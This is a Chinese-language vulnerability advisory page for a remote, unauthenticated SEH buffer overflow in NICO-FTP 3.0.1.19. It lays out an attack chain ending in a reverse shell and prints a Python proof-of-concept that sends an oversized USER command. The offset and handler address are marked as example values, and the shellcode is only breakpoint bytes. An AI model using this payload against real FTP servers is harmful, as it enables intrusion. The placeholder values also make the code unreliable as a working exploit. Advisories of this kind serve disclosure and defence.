CVE-2018-25254 CVSS 9.8 严重

CVE-2018-25254 NICO-FTP SEH缓冲区溢出漏洞

披露日期: 2026-04-04

来源: [email protected]

漏洞信息

漏洞编号

CVE-2018-25254

漏洞类型

缓冲区溢出

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

NICO-FTP

漏洞概述

NICO-FTP 3.0.1.19版本中存在严重的结构化异常处理（SEH）缓冲区溢出漏洞。由于软件在处理FTP命令时缺乏足够的边界检查，远程攻击者无需身份验证即可通过网络发送特制数据包。该漏洞允许攻击者覆盖SEH指针并劫持程序执行流，最终在目标系统上执行任意代码，导致系统完全沦陷。

技术细节

该漏洞源于NICO-FTP在FTP服务响应处理程序中未对用户输入进行严格长度验证。攻击者向FTP服务端口发送超长的恶意数据，触发基于栈的缓冲区溢出。利用方式涉及精确构造恶意payload，覆盖异常处理链中的SEH（Structured Exception Handler）指针。当异常发生时，程序流程被重定向至攻击者注入的Shellcode。由于不需要用户交互和身份认证，攻击者可轻易实现远程代码执行（RCE），获取系统最高权限。

攻击链分析

STEP 1

Reconnaissance

扫描目标网络，识别开放21端口且运行NICO-FTP 3.0.1.19的主机。

STEP 2

Exploitation

攻击者连接到FTP服务，发送包含恶意构造数据的FTP命令（如USER命令）。

STEP 3

Overflow and SEH Overwrite

恶意数据超出缓冲区长度，覆盖栈上的结构化异常处理（SEH）指针。

STEP 4

Code Execution

触发异常，程序跳转至攻击者控制的Shellcode地址，执行任意代码。

STEP 5

Persistence

建立后门或反向Shell，获取目标系统的控制权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import socket

# Target configuration
target_ip = "192.168.1.100"
target_port = 21

# Payload construction
# Offset to overwrite SEH (Example value, actual offset requires debugging)
offset = b"A" * 1000  

# Next SEH record (pop pop ret sequence bypass)
nseh = b"\xeb\x06\x90\x90" # short jump + nops

# SEH handler address (Pop Pop Ret from non-ASLR module)
seh = b"\xaf\x11\x50\x62" # Example address

# Shellcode (calc.exe or reverse shell)
shellcode = b"\xcc" * 300 

padding = b"C" * (5000 - len(offset) - len(nseh) - len(seh) - len(shellcode))

payload = offset + nseh + seh + shellcode + padding
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    print(f"[+] Connected to {target_ip}:{target_port}")
    
    # Sending malicious command to trigger overflow
    s.send(b"USER " + payload + b"\r\n")
    print("[+] Payload sent")
    s.close()
except Exception as e:
    print(f"[-] Error: {e}")

影响范围

NICO-FTP 3.0.1.19

防御指南

临时缓解措施

由于该漏洞无需认证且易于利用，建议立即在网络边界阻断FTP端口的入站连接，或直接停止受影响服务直至修复完成。同时，应检查系统日志以确认是否已被入侵。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表